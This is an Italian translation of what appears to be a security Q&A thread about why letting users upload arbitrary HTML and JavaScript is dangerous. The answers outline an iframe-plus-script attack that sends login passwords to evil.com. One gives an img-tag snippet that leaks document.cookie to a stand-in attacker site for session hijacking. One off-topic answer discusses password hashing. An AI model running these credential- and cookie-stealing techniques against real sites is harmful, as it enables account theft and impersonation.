La possibilità di caricare qualsiasi HTML e JS è un buco di sicurezza, non è vero?

Dipende da come si memorizzano le password. Se si archiviano le password in chiaro, si si tratta di un lavoro banale per chiunque abbia accesso in scrittura a un server Web per ottenere la password in chiaro. Se tuttavia si memorizzano le password tramite un hash unidirezionale usando una procedura come sha3, diventa più difficile per un utente malintenzionato. Dovrebbero trovare una stringa da inserire nella procedura in modo tale che l'output sia lo stesso dell'hash specificato. È stato stimato che fare ciò con una versione precedente di sha (sha1) costerebbe circa 2k USD sulla piattaforma cloud di Amazon.

Sì, questo è un enorme buco di sicurezza. Diciamo che l'hai scoperto su example.com . Come lo sfrutti?

1. Carica un file HTML contenente un iframe con la pagina di accesso di example.com e alcuni JavaScript per leggere tutte le password immesse e inviarle a evil.com .
2. Invia il link a una vittima innocente: "Accedi a example.com per richiedere il tuo premio gratuito!" Quando la vittima visita il sito, nota che tutto sembra come sempre - anche il certificato EV si verifica. Quindi sicuramente tutto deve essere a posto! Inserisce le sue credenziali di accesso.
3. Profit.

Si noti che questo non è un caso in cui la vittima è credulona, dato che si trova effettivamente nel sito giusto e non in uno specchio di phishing come eksample.com . Tuttavia, se non vuoi fare affidamento su azioni della vittima se non seguendo il link, puoi sempre rubare i cookie di sessione (a meno che non siano solo HTTP).

Is it true that if an attacker has the possibility to upload any .html and .js files, then he can get a password of another user?

Se l'attaccato può caricarli sul server? Sì. È banale leggere il campo della password con JS. Quindi codifica la password come URL per un dominio controllato dall'utente malintenzionato e inseriscilo in window.location .

se può caricare qualsiasi file html o JavaScript ed è in grado di sovrascrivere qualsiasi pagina del sito web. (scaricando, modificando e ricaricando qualsiasi file html), può eseguire qualsiasi codice che desidera. In pratica eseguiva un attacco di scripting incrociato

Poteva facilmente scrivere qualcosa come

<img src="www.evilwebsite.com/+document.cookie" />

questo ruba l'ID di sessione di qualsiasi utente che visita la pagina e consente all'autore dell'attacco di dirottare la sessione. Permettigli di impersonare gli utenti compromessi.

Poteva anche solo modificare qualsiasi modulo di login per inviare anche i dettagli di accesso al sito web o al servizio web dell'attaccante.